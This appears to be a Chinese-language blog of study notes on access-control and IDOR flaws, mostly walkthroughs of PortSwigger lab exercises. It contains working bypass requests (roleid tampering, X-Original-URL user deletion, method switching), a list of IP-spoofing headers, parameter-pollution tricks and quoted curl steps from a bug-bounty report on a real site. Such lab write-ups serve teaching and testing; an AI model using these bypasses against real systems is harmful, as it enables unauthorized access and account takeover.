目录

在看访问控制漏洞时需要先分清楚认证与授权概念及区别,认证(Authentication)证明你是本人,而授权(Authorization)认证后能做些什么事情。

访问控制是一个宽泛的概念,可以囊括认证与授权机制。像垂直越权、水平越权(再具体些任意用户密码也是水平越权的一种),这些漏洞我们都可以笼统的说是访问控制没做好,详细点说就是授权机制没做好。

威胁建模=看到功能点能反映出对应的威胁。威胁是危害的来源,风险的后果一定是损失(白帽子 1.6.2 章节)。

常见访问控制模型:

  1. Discretionary access control (DAC)
  2. Mandatory access control (MAC)
  3. Role-based access control (RBAC)

现阶段 WAF 还不能检测出逻辑漏洞。

攻击者能执行没有权限的操作这就是越权,这个漏洞对应着 OWASP 失效的访问控制。

越权分类:

  • 水平(平行)越权:用户 A 能操作或查看用户 B 自己才能看的内容。
  • 垂直越权:用户 A 能直接能执行管理员才能做的事。
  • 上下文越权(也称前后文越权):用户必须通过 A 才能操作 B,能直接操作 B 就是越过上文直接到达下文,这就时上下文越权。

越权产生原因:你怎么只要用户查的是他自己的消息?是不是要在 SQL 上做个条件?

测试限制:

  1. 创建两个测试账户自己验证
  2. 越权获取不超过 5 条数据

1 认证

认证这块没有认证和认证被绕过这两种情况,没有认证国内常常称作未授权访问,但是这说法不准确,实际上是没有没有经过认证的操作。从黑盒测试角度来看可以简称访问控制失效或者访问控制缺失(Missing Authorization Check)也行,当然细究的话需要看代码有没有认证。

测试的时候本人最喜欢直接从前端 JS 中搜前端路由,因为有时候后台或者管理员的路由也打包到一起了,直接访问路由自动向后端 API 发送请求,不需要我们找请求参数,这样直接访问挖到存在越权或者认证缺失。

这种方式归根结底是通过前端自动请求后端 API,测认证缺失也可以通过 HaE 收集 JS 中 URL 路径,通过拼接参考请求请求拼接进行请求,有些不需要强制传递参数可能出发默认查询。

认证另一个攻击面是密码暴力破解和用户名枚举,这块内容比较简单不展开介绍。

2 越权

2.1 平行越权

也叫 IDOR (Insecure direct object references)

平行越权及常见越权点

常见 ID 类型:

  • 自增(有规律),123456
  • 随机(无规律):UUID、雪花算法、AES、Base64编码 等等....

漏洞评级:取决于最短攻击路径能造成什么危害。

作业:foreach执行取数据库数据,docx 反馈。

<?php
// 导入数据库账户配置文件
require_once "../inc/config.php";

// 建立数据库连接
$connection = new PDO("mysql:host=" . DB_HOST . ";port=" . DB_PORT . ";dbname=" . DB_DATABASE_NAME, DB_USERNAME, DB_PASSWORD);

// 预编译 SQL 语句
$sqlQuery = "SELECT id, replyCommentID, username, update_date, content FROM `comment` WHERE username = :username";
$stmt = $connection->prepare($sqlQuery);

// 绑定参数
$stmt->bindParam(":username", $username);
$username = "raingray";

// 执行 SQL
$stmt->execute();

// foreach 遍历结果集数组取数据
$result = $stmt->fetchAll(PDO::FETCH_ASSOC);
$data = null;
foreach ($result as $key => $value) {
    print_r($value);
    $data .= "留言用户 ID:" . $value['id'] . PHP_EOL;
    $data .= "回复留言 ID:" . $value['replyCommentID'] . PHP_EOL;
    $data .= "回复留言用户名:" . $value['username'] . PHP_EOL;
    $data .= "留言更新时间:" . $value['update_date'] . PHP_EOL;
    $data .= "留言内容:" . $value['content'];
}

// 输出结果
echo "<pre><code>" . $data . "</code><pre>";

前端

Array
(
    [id] => 99
    [replyCommentID] => 
    [username] => raingray
    [update_date] => 2022-03-05 12:58:46
    [content] => testing
)
<pre><code>留言用户 ID:99
回复留言 ID:
回复留言用户名:raingray
留言更新时间:2022-03-05 12:58:46
留言内容:testing</code><pre>

2.2 垂直越权

垂直越权原理分析,涉及登录原理,和注册原理。

获取 POST参数:THINKPHP 的 input() 和 PHP 官方的 $_POST[] 获取,都是返回一维数组。

PHP 方法介绍:function_exists() 检查 session_start 方法是否存在。

案例:注册时 menber_type 取的前端传递的参数,如果不等于 0 就是管理员,太过相信前端数据,为 1 则注册普通账户。

fofa 搜资产 title:"注册账户"

整个平行越权说白了就是见到 ID 就改。总要想着有没办法获取别人数据。垂直越权呢,则是看有没办法去使用管理员才能操作的功能,或者说是能够用当前用户没有权限操作的功能。程序员可能没考虑到这个鉴权操作,没做身份识别这个行为。

漏洞产生原因:

  1. 检查凭证但没有 return 退出后续逻辑执行,直接把内容输出,属于逻辑问题:

    // 授权检查
    if (!auth) {
        // 没有结束后续代码运行,导致未授权产生
        System.Out.println('认证失败');
    }
    
    // 输出数据
    ...

    正确修复应该是:

    // 授权检查
    if (!auth) {
        // 认证失败结束运行
        System.Out.println('认证失败');
        return;
    }
    
    // 输出数据
    ...
  2. 压根没鉴权,直接输出内容。

挖掘方法:多注意响应内容有没敏感信息,不要靠肉眼,也要依靠插件,比如 HaE。

重定向常见情况:

  1. 后端返回 JS location

image-20220322221349080.png

解决方式是直接把 Response 跳转语句删除。

  1. 后端 302 跳转

image-20220322221304052.png

解决方式是将 302 状态码改为 200 就行,如果想正确点就也把状态文本 Found 改为 OK。或者直接把 Location Header 删了,浏览器还是会展示内容,不跳转。

上面是 HTTP 2 的用法,经过测试 HTTP 1.1 也是修改状态码就行,也可以把 Moved Temporarily 改为 OK

image-20220322221908160.png

有时候访问某个功能或者登录后,会根据当前凭证或者用户 ID 查询应用菜单或者用户权限,这个请求响应的能控制前端展示哪些功能点菜单,个人在实战中很多次都从 JS 中找到对应的硬编码菜单内容,收集完成后一替换能够垂直越权操作管理员功能。

利用思路

最好结合本文中的靶场总结出利用访问控制的操作方法清单。

小技巧,出处 https://www.t00ls.net/thread-57810-1-5.html

(1)添加参数
user/info
user/info?id=123
(2)hpp 参数污染
user/info?id=1
user/info?id=2&id=1
user/info?id=2,2&id=1,1
(3)添加.json(如果它是用 ruby 构建的)
user/id/1
user/id/1.json
(4)测试过时的api的版本
/v3/user/123
/v2/user/123
(5)用数组包装ID
{"id":1}
{"id":[2]}
(6)用json对象包装ID
{"id":1}
{"id":{"id":1}}
(7)json参数污染
{"id":2,"id":1}
(8)大小写替换
/admin/info -> 401未授权
/ADMIN/info -> 200 ok
常用技巧:
可以使用通配符(*),而不是id
如果有相同的web应用程序,可以测试下app的api端点
如果端点的名称类似/api/users/info,可以修改为/api/admin/info
用GET/POST/PUT...替换请求方法

https://twitter.com/ehsaan_qazi/status/1460605234514857985

防御

检查是否传递凭证,有传递进一步检查凭证是否有效,凭证有效需要进行不确认 SESSION 中用户的身份和要查询的目标身份是不是同一个,确保只能查询用户自己的内容,避免越权。

靶场练习

Web Security Academy——Access control vulnerabilities

Lab: Unprotected admin functionality

题意:访问不受保护的后台删除 carlos 用户。

这里通过访问 robots.txt 就能得到后台地址,或者直接扫描目录也行。

robots.txt.png

直接访问即可进入后台。

administrator-pannel.png

Lab: Unprotected admin functionality with unpredictable URL

题意:有时候不受保护的某些功能可能藏在 JS 中,要多找。

不受保护的后台链接.png

直接访问无需凭证。

Lab: User role controlled by request parameter

题意:有时候存在风险的功能是在参数中。使用 wiener:peter 账户登录后,修改请求头 Cookie 凭证进入后台 /admin 删除用户 carlos。

未登录和使用普通账户登录后提示没权限。

无权限访问后台.png

在登录过程中会发现响应中的 Coookie 有个明显用户身份标识。

登陆后返回的 Cookie.png

将 Admin=false 值修改为 true,则新增一个进入后台的链接。

个人中心展示后台链接.png

不使用任何凭证成功访问 /admin。

修改 Cookie 进入后台.png

PS:期间也试过将 /my-account?id=wiener 中 winner 改为其他用户名,无效。

Lab: User role can be modified in user profile

题意:使用 wiener:peter 登录账户,修改 roleid 为 2 访问 /admin 删除 carlos 账户。

登录后找半天也没发现 roleid,也试了试直接访问 /admin?roleid=2、/my-account?id=wiener&roleid=2 也没用,看答案才发现遗漏了更新功能。

在更新完用户会发现响应中 "roleid": 1,很明显说明当前用户角色 id 是 1。

POST /my-account/change-email HTTP/2
Host: 0acf00bd035db1908547368d005200be.web-security-academy.net
Cookie: session=SyotYdCQuXZ7ZV8M7eF8Z7m6tdccKVMy
Content-Length: 26
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
Sec-Ch-Ua-Platform: "Windows"
Dnt: 1
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: https://0acf00bd035db1908547368d005200be.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0acf00bd035db1908547368d005200be.web-security-academy.net/my-account
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

{"email":"test@gmail.com"}


HTTP/2 302 Found
Location: /my-account
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 118

{
  "username": "wiener",
  "email": "test@gmail.com",
  "apikey": "XGbylgqv9RntSnCtTmwVvGNyRcX92IYu",
  "roleid": 1
}

而尝试通过在修改邮箱处提交角色 id,发现邮箱和角色都成功修改。

POST /my-account/change-email HTTP/2
Host: 0acf00bd035db1908547368d005200be.web-security-academy.net
Cookie: session=SyotYdCQuXZ7ZV8M7eF8Z7m6tdccKVMy
Content-Length: 38
Sec-Ch-Ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
Sec-Ch-Ua-Platform: "Windows"
Dnt: 1
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: https://0acf00bd035db1908547368d005200be.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0acf00bd035db1908547368d005200be.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

{"email":"test@gmail.com","roleid": 2}


HTTP/2 302 Found
Location: /my-account
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 118

{
  "username": "wiener",
  "email": "test@gmail.com",
  "apikey": "XGbylgqv9RntSnCtTmwVvGNyRcX92IYu",
  "roleid": 2
}

当角色 id 为 2 个人账户就出现了管理面板,成功垂直越权。

我想了想为啥没成功挖到这漏洞最重要的提醒:是要多尝试参数。当页面上和 JS 中都不存在要 Fuzz 下参数,我过于依赖明面上的参数,比如在输入框邮箱后点击 Update email 按钮自动调 jsonSubmit 方法提交请求。

<form class="login-form" name="email-change-form" onsubmit="jsonSubmit(this, event, &quot;/my-account/change-email&quot;)">
    <label>Email</label>
    <input required="" type="email" name="email" value="">
    <button class="button" type="submit"> Update email </button>
</form>

jsonSubmit 来自页面上已经加载的 /resources/js/changeEmail.js。

function jsonSubmit(formElement, e, changeEmailPath) {
    e.preventDefault();
    var object = {};
    var formData = new FormData(formElement);
    formData.forEach((value, key) => object[key] = value);
    var jsonData = JSON.stringify(object);
    var postRequest = new XMLHttpRequest();
    postRequest.open("POST", changeEmailPath, true);
    postRequest.withCredentials = true;
    postRequest.onload = function() {
        if (object["email"]) {
            window.location = postRequest.responseURL;
        }
    }
    postRequest.send(jsonData);
}

修改时没发现 JS 中带 roleid 参数,单纯认为不存在缺陷。没要考虑目标应用可能接收其他 POST 参数,而且没有运用 Fuzz 思维。

Lab: User ID controlled by request parameter

题意:这个 Lab 存在水平越权,要求用现有 wiener:peter 获取 carlos 的 API key 并提交。

登录账户后替换 id 参数值为 carlos 即可获取 carlos 的 API key。

Pasted image 20250528163358.png

Pasted image 20250528163358.png

Lab: User ID controlled by request parameter, with unpredictable user IDs

题意:此实验用户账户页面上存在水平权限提升漏洞,要求用现有 wiener:peter 获取 carlos 的 API key 并提交。采用 GUID 作为用户标识(不可预测)。解决实验室问题,找到 carlos 的 GUID,然后提交完成实验。

说 carlos 用户存在 IDOR,但是登录提供的测试账户 wiener,发现用户 ID 是 GUID,不可预测,通过学习材料得知,也有可能用户的 ID 在其他地方出现或泄露过,刚好目标应用又是个博客,可以看看文章发布作者和评论区会不会把 GUID 显示出来。

查看文章中的评论区不存在,看到回到文首,发现标题下方存在作者名称,而且添加了 a 标签其 href 属性值就是 GUID,点击这个链接就能看到这个作者发了哪些文章。

查看文章发布的作者名称.png

登录个人中心后替换 GUID 就可以获取 API Key。

https://0aff00a503fa224b80c985c400b500f4.web-security-academy.net/my-account?id=5438b985-250d-4e7b-8d2d-4ec77203763f

替换GUID成功越权.png

Lab: User ID controlled by request parameter with data leakage in redirect🔨

Lab: User ID controlled by request parameter with password disclosure

题意:这个实验有一个用户账户页面,其中包含当前用户的现有密码,在一个掩码输入框中预填。要解决这个实验,请获取管理员的密码,然后使用它来删除用户 carlos。您可以使用以下凭据登录到自己的账户:wiener:peter

登录后在个人中心中发现密码框是当前登录的密码,在请求中还发现 GET 参数 ID。

登录后发现登录密码和用户ID参数.png

篡改 ID 参数为 carlos 即可查询到 carlos 的密码,证实 IDOR 漏洞存在。

修改ID参数成功越权.png

接着猜测管理员用户名多少,在文章首页和文章中都没发现管理员用户名,手工猜 admin 失败了,按照 Lab 介绍中的 administrator 成功猜出,登上去删除 carlos 账户即可完成实验。

接管Administrator账户完成Lab.png

Lab: Insecure direct object references

题意:用户聊天记录直接存储在服务器的文件系统中,并使用静态 URL 进行检索。找到用户 carlos 的密码,登录其账户完成 Lab。

Live chat 是一个 WebSocket 应用,View transcript 按钮可以下载聊天记录。

Pasted image 20250528165923.png

下载内容是一个 2.txt 文本。

Pasted image 20250528170028.png

感觉文件名是递增的数字,改为 1.txt,获得 carlos 密码 cksn3q6e385ppipv5c1c。

Pasted image 20250528170204.png

Lab: URL-based access control can be circumvented

题意:但与用户交互的前端系统主动设置禁止访问 /admin——可能是应用或者是网关禁止,但是应用使用某种框架编写的,支持 X-Original-URL 请求头。要求删除 carlos 用户完成实验。

一打开商店页面,右上角就有 Admin panel,访问 Path 是 /admin,回显 403 无法正常获取资源。

GET /admin HTTP/2
Host: 0ace00ba04d9f87080cf3a9f0096000f.web-security-academy.net
Cache-Control: max-age=0
Sec-Ch-Ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Dnt: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.60
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://portswigger.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6


HTTP/2 403 Forbidden
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 15

"Access denied"

在资料中显示某些应用框架支持 X-Original-URL、X-Rewrite-URL 请求头,可以用于覆盖请求的 Path,从而绕过限制。去网上搜索发现是 PHP 框架存在问题居多,涉及 CVE-2018-14773。

Many web frameworks such as Symfony 2.7.0 to 2.7.48, 2.8.0 to 2.8.43, 3.3.0 to 3.3.17, 3.4.0 to 3.4.13, 4.0.0 to 4.0.13 and 4.1.0 to 4.1.2 , zend-diactoros up to 1.8.4, zend-http up to 2.8.1, zend-feed up to 2.10.3 are affected by this security issue.

URL rewrite vulnerability

PS:在查这两请求头时,发现并不是标准中的请求头,很久以前是拿 X- 这个前缀作为非标准请求前缀,后续 RFC 6648 说以后的非标准请求头不要带上前缀,因为现有请求头都没有前缀,避免成为标准时要把前缀删掉改变大家使用习惯,不适应。因此后面的非标准头都不带前缀。

怎么确认应用是否支持此请求头呢?WSTG 给出了验证逻辑。只要给出请求头随意填写资源,返回资源不存在就证明能够使用,而不支持则是访问的 Path。下面是验证结果。

应用支持 X-Original-Url。访问 Path /test 成功

GET / HTTP/2
Host: 0a62003e03e972af80d7b7570094002e.web-security-academy.net
X-Original-Url: /test
Cookie: session=x9mw4XjpTNYBibHo6uLv8pcQsQ5DOvf8
Cache-Control: max-age=0
Sec-Ch-Ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Dnt: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.60
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://portswigger.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6


HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 11

"Not Found"

应用不支持 X-Original-Url。不去访问 Path /test 失败,而是访问 /。

GET / HTTP/2
Host: 0a62003e03e972af80d7b7570094002e.web-security-academy.net
X-Rewrite-Url: /test
Cookie: session=x9mw4XjpTNYBibHo6uLv8pcQsQ5DOvf8
Cache-Control: max-age=0
Sec-Ch-Ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Dnt: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.60
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://portswigger.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close


HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 10710

<!DOCTYPE html>
<html>
    <head>
        <link href=/resources/labheader/css/academyLabHeader.css rel=stylesheet>
        <link href=/resources/css/labsEcommerce.css rel=stylesheet>
        <title>URL-based access control can be circumvented</title>
......

知道方法后,成功绕过访问控制。

特殊请求头 X-Original-Url 绕过访问控制.png

但是页面上点删除用户提示没权限。

GET /admin/delete?username=carlos HTTP/2
Host: 0a62003e03e972af80d7b7570094002e.web-security-academy.net
X-Original-Url: /admin/delete?username=carlos
Cache-Control: max-age=0
Sec-Ch-Ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Dnt: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.60
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a62003e03e972af80d7b7570094002e.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6


HTTP/2 403 Forbidden
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 15

"Access denied"

尝试直接通过请求头传删除参数,提示需要 username 参数,这说明权限是够的,只是 X-Original-Url 不支持传递参数方式不对。

GET / HTTP/2
Host: 0a62003e03e972af80d7b7570094002e.web-security-academy.net
X-Original-Url: /admin/delete?username=carlos
Cache-Control: max-age=0
Sec-Ch-Ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Dnt: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.60
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a62003e03e972af80d7b7570094002e.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6


HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
Set-Cookie: session=z1JjyLhN7NAWQuc8hVoAhCiQcgWwe8qd; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 30

"Missing parameter 'username'"

最终通过 Path 传参,请求头传递路径成功删除用户 carlos 完成 Lab。

GET /?username=carlos HTTP/2
Host: 0a62003e03e972af80d7b7570094002e.web-security-academy.net
X-Original-Url: /admin/delete
Cache-Control: max-age=0
Sec-Ch-Ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Dnt: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.60
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a62003e03e972af80d7b7570094002e.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6


HTTP/2 302 Found
Location: /admin
Set-Cookie: session=zhzOVZTAS3Fnla4m62rUcOqOSehkWf1a; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0

添加参数删除用户-验证删除结果.png

在实战中还真搜到一个 hackerone 的案例,Bypass front server restrictions and access to forbidden files and directories through X-Rewrite-Url/X-original-url header on account.mackeeper.com,300 美金,这漏洞搁国内铁定回复:无危害。😏

Summary
Normally a client can't access /admin directory because of front nginx server which returns 403. But we can use X-Rewrite-Url or X-original-url because back server processes these headers and front server doesn't.

Steps to reproduce:
This request shows normal behavior
curl -i -s -k -X $'GET' -H $'Host: account.mackeeper.com' $'https://account.mackeeper.com/admin/login'
and returns 403

Here you can see how we can bypass these restrictions
curl -i -s -k -X $'GET' -H $'Host: account.mackeeper.com' -H $'X-rewrite-url: admin/login' $'https://account.mackeeper.com/'
and return login page

通过查询 WSTG 的例子,有时应用通过代码限制访问的 IP,一旦通过下面请求头取 IP,可主动给值绕过限制。

X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
X-Original-URL: 127.0.0.1
Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Host: 127.0.0.1
True-Client-IP: 127.0.0.1
Cluster-Client-IP: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
Via: 1.0 fred, 1.1 127.0.0.1

Lab: Method-based access control can be circumvented⚒️

题意:商店提供了管理员账户 administrator:admin 用于修改用户角色,需要你把 wiener:peter 账户,通过切换请求方法的方式来提到 administrator 角色。

管理员登录能够通过 GET 获取 Admin pannel 面板内容(/admin),面板的功能只有给用户设置权限。

Pasted image 20250528152621.png

点击 Upgrade user 就是将用户提到 ADMIN 角色,当前是 NORMAL

Pasted image 20250528152443.png

直接登录 wiener,拿 NORMAL 账户 winner 的 Cookie 给自己提权,返回 HTTP/2 401 Unauthorized 提权失败。

Pasted image 20250528154949.png

这时候就准备手动尝试 GET、POST、PUT、PATCH、OPTIONS 几种常见 RESTFUL 常用到的方法。实在没法子,索性直接遍历一波方法(因为是靶场不用担心某些请求方法有修改、删除数据)。

GET
POST
HEAD
CONNECT
PUT
TRACE
OPTIONS
DELETE
ACL
ARBITRARY
BASELINE-CONTROL
BCOPY
BDELETE
BIND
BMOVE
BPROPFIND
BPROPPATCH
CHECKIN
CHECKOUT
COPY
DEBUG
INDEX
LABEL
LINK
LOCK
MERGE
MKACTIVITY
MKCALENDAR
MKCOL
MKREDIRECTREF
MKWORKSPACE
MOVE
NOTIFY
ORDERPATCH
PATCH
POLL
PROPFIND
PROPPATCH
REBIND
REPORT
RPC_IN_DATA
RPC_OUT_DATA
SEARCH
SUBSCRIBE
TRACK
UNBIND
UNCHECKOUT
UNLINK
UNLOCK
UNSUBSCRIBE
UPDATE
UPDATEREDIRECTREF
VERSION-CONTROL
X-MS-ENUMATTS

结果发现,把请求数据放在请求体,使用 DELETE 和 PUT 请求能够提权成功。

DELETE /admin-roles HTTP/2
Host: 0ada000b0313707b804676c000c100e3.web-security-academy.net
Cookie: session=BLVciTPuC74ykxrHz6azV0tl3gsBlzXG
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

username=wiener&action=upgrade

或者使用 GET 方法,把请求数据作为 GET 参数发送也可以提权成功。

GET /admin-roles?username=wiener&action=upgrade HTTP/2
Host: 0ada000b0313707b804676c000c100e3.web-security-academy.net
Cookie: session=BLVciTPuC74ykxrHz6azV0tl3gsBlzXG
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br

Lab: Multi-step process with no access control on one step🔨

题意:当前 Lab 有一个管理面板,当中包含修改用户角色的功能,这个功能存在多步骤绕过,可以通过登录 administrator:admin 账户来熟悉管理面板。要完本此 Lab,请登录账户 wiener:peter,利用有缺陷的访问控制将自己提升为管理员。

登录后的管理面板。

Pasted image 20250528170623.png

点击 Upgrade user 会多一步确认,访问这个确认页面。

Pasted image 20250528170656.png

确认完成之后才能发送更改请求。

Pasted image 20250528170739.png

正常情况下一定是访问确认页面后,应用为用户 SESSION 会话维护一个状态,比如 confirm=true,真正修改权限的时候要检查 confirm 状态是不是 true,只有 true 的情况下才给修改。

这里直接拿 winner 的 Cookie 调整角色,只用添加 confirmed=true 绕过确认页面。

Pasted image 20250528171215.png

成功获得管理员权限。

Pasted image 20250528171310.png

Lab: Referer-based access control

题意:一些应用为了防止未授权访问,通过请求头 Referer 判断这个请求从哪儿来,由于这个 Referer 完全可以被客户端控制,所以用这种方式限制也有问题。此 Lab 通过 Referer 头部控制对某些管理功能的访问。您可以通过使用凭证 administrator:admin 登录来熟悉管理面板。要完成本实验,请使用凭证 wiener:peter 登录,并利用有缺陷的访问控制将自己提升为管理员。

Administrator 发送修改权限请求的步骤,

Setp1:/
Setp2:/login
Setp3:/my-account?id=administrator
Setp4:/admin
Setp5:/admin-roles?username=carlos&action=upgrade

发起 /admin-roles?username=wiener&action=upgrade 修改权限的请求时,Referer 一定是从 /admin 来的,所以修改后就能绕过 Referer 限制。

Pasted image 20250528172139.png

成功获得 admin 面板权限。

Pasted image 20250528173135.png

Web Security Academy——Authentication

Lab: Username enumeration via different responses

题意:要解决这个实验,请枚举一个有效的用户名,暴力破解该用户的密码,然后访问他们的账户页面。

登录时没有验证码,用户名写错还会提示,可以爆破有效的用户名。

Pasted image 20250512112330.png

成功爆破出用户名 arizona,用正确用户名登录会提示密码错误,通过错误信息的方式展示问题,有了正确用户名后就继续再爆破密码。

Pasted image 20250512112625.png

成功爆出密码 freedom,登录后 302 重定向到个人中心。

Pasted image 20250512112613.png

Lab: Username enumeration via subtly different responses

题意:仍然要求爆破用户名,登录其账户。

这次爆破需要完整填写用户名和密码两个参数,只写用户名会说参数填写不完整。

Pasted image 20250519134554.png

输入无效的用户名会发现已经把错误信息修改的比较模糊了,说 Invalid username or password.

Pasted image 20250519134534.png

